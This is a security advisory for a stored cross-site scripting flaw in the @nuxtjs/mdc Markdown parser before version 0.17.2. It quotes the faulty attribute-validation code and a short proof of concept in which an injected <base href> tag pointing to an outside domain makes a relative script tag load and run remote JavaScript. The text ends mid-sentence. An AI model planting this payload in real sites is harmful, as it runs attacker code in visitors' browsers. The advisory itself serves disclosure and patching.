MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.
Affected: npm: @nuxtjs/mdc
### Summary A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
### Details - **Affected file** : `src/runtime/parser/utils/props.ts` - **Core logic** : `validateProp()` inspects * attributes that start with `on` → blocked * `href` or `src` → filtered by `isAnchorLinkAllowed()` Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated.
``` export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } return true // ← “href” on <base> not checked } ```
As soon as `<base href="https://vozec.fr">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.
### Proof of Concept Place the following in any Markdown handled by Nuxt MDC:
``` <base href="https://vozec.fr"> <script src="/xss.js"></script> ```
1. Start the Nuxt app (`npm run dev`). 2. Visit the page. 3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScr…